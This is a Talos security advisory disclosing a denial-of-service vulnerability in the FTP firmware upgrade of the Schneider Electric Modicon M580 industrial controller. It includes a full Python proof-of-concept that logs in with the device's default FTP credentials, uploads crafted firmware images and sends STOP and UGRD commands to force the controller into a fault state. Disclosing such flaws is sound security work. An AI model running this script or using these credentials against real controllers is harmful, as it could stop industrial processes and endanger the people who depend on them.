Talos Vulnerability Report

TALOS-2019-0824

Schneider Electric Modicon M580 malformed firmware image FTP upgrade denial-of-service vulnerability

October 8, 2019
CVE Number

CVE-2019-6843

Summary

An exploitable denial-of-service vulnerability exists in the FTP firmware update function of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.80. A specially crafted firmware image can cause the device to enter a recoverable fault state, resulting in a stoppage of normal device execution. An attacker can use default credentials to send commands that trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.80

Product URLs

https://www.schneider-electric.com/en/work/campaign/m580-epac/

CVSSv3 Score

4.9 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-248: Uncaught Exception

Details

The Modicon M580 is the latest in Schneider Electric's Modicon line of Programmable Automation Controllers. The device boasts a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus, and a management protocol referred to as UMAS.

When conducting a firmware upgrade of the Modicon M580, there are a few options to choose from, including FTP. During this process, the custom FTP command UGRD can be used to initiate the upgrade on a specified flash channel and index as long as the directory and file structure is configured correctly. When this command is sent and the environment is set up correctly, the upgrade loader service switches from an 'OK' state to a 'not ready' state and begins upgrading the firmware. During a legitimate firmware upgrade this command is run twice: once for the main firmware and once for the web firmware.

During this process a check is performed to ensure that both firmware images have the correct signature and are properly formatted. This check only verifies that the header of the image conforms to its specifications. When an upgrade is attempted using an image with the correct filename and a valid header but no content, the device will perform the main firmware upgrade and then enter a fault state waiting for its next upgrade request. During this time communication with the device is still possible with the device's programming tools, however the normal device execution is stopped.

Exploit Proof of Concept

from ftplib import FTP, error_perm
import os
from time import sleep
import socket

# helper function to handle errors and add a sleep to the request
def deleteFile(ftp, filepath):
    try:
        ftp.delete(filepath)
    except error_perm:
        # just passing b/c this means the file was already not there
        pass
    sleep(1)

# helper function to handle errors and add a sleep to the request
def deleteDirectory(ftp, dirpath):
    try:
        cmd = "XRMD {}".format(dirpath)
        ftp.sendcmd(cmd)
    except error_perm:
        # just passing b/c this means the file was already not there
        pass
    sleep(1)

# helper function to specify a custom mkdir command and add a sleep to the request
def createDirectory(ftp, dirpath):
    cmd = "XMKD {}".format(dirpath)
    ftp.sendcmd(cmd)
    sleep(1)


def main():
    # Parameters
    rhost = "192.168.10.1"
    ftpuser = "loader"
    ftppass = "fwdownload"
    files = ["fw.ini", "M580SMP.img", "M580SMP_SIG.img", "webpage.img", "webpage_sig.img"]

    # local working dir setup
    os.chdir("BMEP582040_ldx_extracted")

    # login
    ftp = FTP(host=rhost, user=ftpuser, passwd=ftppass, timeout=10)

    # couple required commands
    ftp.sendcmd("TYPE I")
    ftp.sendcmd("DINF 254.254")

    # delete any stragglers to prevent against state issues
    for curfile in files:
        curfilepath = "/SDCA/Firmware/Device/{}".format(curfile)
        deleteFile(ftp, curfilepath)

    deleteDirectory(ftp, "/SDCA/Firmware/SysLog")
    deleteDirectory(ftp, "/SDCA/Firmware/Device")
    deleteDirectory(ftp, "/SDCA/Firmware")

    # set up dir structure
    createDirectory(ftp, "/SDCA/Firmware")
    createDirectory(ftp, "/SDCA/Firmware/Device")
    createDirectory(ftp, "/SDCA/Firmware/SysLog")
    ftp.cwd("/SDCA/Firmware/Device")

    # transfer files
    for curfile in files:
        with open(curfile, 'rb') as f:
            cmd = "STOR {}".format(curfile)
            ftp.storbinary(cmd, f)

    # make sure the device is stopped
    ftp.sendcmd("STOP")

    # get the device state
    ftp.sendcmd("LDST 255.255")

    # send the update command
    ftp.sendcmd("UGRD 254.254.10.0")

    # watch the update status until the transfer is finished
    success = False
    while True:
        sleep(1)
        resp = ftp.sendcmd("LDST") 

        if "LastError" in resp:
            success = True;
            break

    if (success):
        print("Success")
    else:
        print("Failure")


if __name__ == '__main__':
    main()

Timeline

2019-05-08 - Vendor Disclosure
2019-09-10 - Disclosure timeline extended
2019-10-08 - Public Release

Credit

Discovered by Jared Rittle of Cisco Talos.